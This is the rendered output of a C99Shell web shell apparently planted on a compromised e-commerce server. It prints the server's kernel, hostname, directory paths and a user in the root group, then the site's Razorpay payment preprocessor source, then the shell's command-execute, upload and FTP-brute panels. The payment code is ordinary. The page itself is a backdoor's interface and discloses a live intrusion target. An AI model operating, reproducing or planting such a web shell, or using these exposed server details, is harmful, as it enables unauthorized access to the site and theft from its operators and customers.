!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Razorpay/Processor/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PreProcessor.php (2.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package Preprocessor
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 16-2-22
 */

namespace Modules\Razorpay\Processor;

use 
Modules\Gateway\Facades\GatewayHelper;
use 
Modules\Razorpay\Entities\Razorpay;
use 
Razorpay\Api\Api;


class 
PreProcessor
{
    private 
$razor null;
    private 
$data null;

    public function 
getOrder($key null$razor null)
    {
        
$this->setup($key$razor);
        return 
$this->paymentData($this->order());
    }


    public function 
setup($key null$razor null)
    {
        if (!
$this->razor) {
            
$this->razor $this->razorData($razor);
        }
        if (!
$this->data) {
            
$this->data $this->fetchData($key);
        }
    }


    public function 
fetchData($key)
    {
        if (!
$this->data) {
            return 
GatewayHelper::getPurchaseData($key);
        }
        return 
$this->data;
    }


    public function 
razorData($razor null)
    {
        if (!
$this->razor && !$this->razor $razor) {
            return 
Razorpay::firstWhere('alias''razorpay')->data;
        }
        return 
$this->razor;
    }


    public function 
api($apiKey null$apiSecret null)
    {
        if (
$apiKey && $apiSecret) {
            return new 
Api($apiKey$apiSecret);
        }
        return new 
Api($this->razor->apiKey$this->razor->apiSecret);
    }


    public function 
order()
    {
        return 
$this->api()->order->create($this->orderData());
    }


    public function 
orderData()
    {
        return
            [
                
'receipt' => $this->data->code,
                
'amount' => round($this->data->total 1000),
                
'currency' => $this->data->currency_code
            
];
    }


    public function 
paymentData($order)
    {
        
$this->setOrderId($order['id']);
        return [
            
"key" => $this->razor->apiKey,
            
"amount" => $order['amount'],
            
"notes" => [
                
"merchant_order_id" => $order['receipt'],
            ],
            
"order_id" => $order['id'],
            
'callback_url' => route('gateway.callback'withOldQueryIntegrity(['gateway' => config('razorpay.alias')])),
            
'redirect' => true
        
];
    }


    private function 
setOrderId($id)
    {
        
session(['razor_order_id' => $id]);
    }

    public function 
getOrderId()
    {
        return 
session('razor_order_id');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--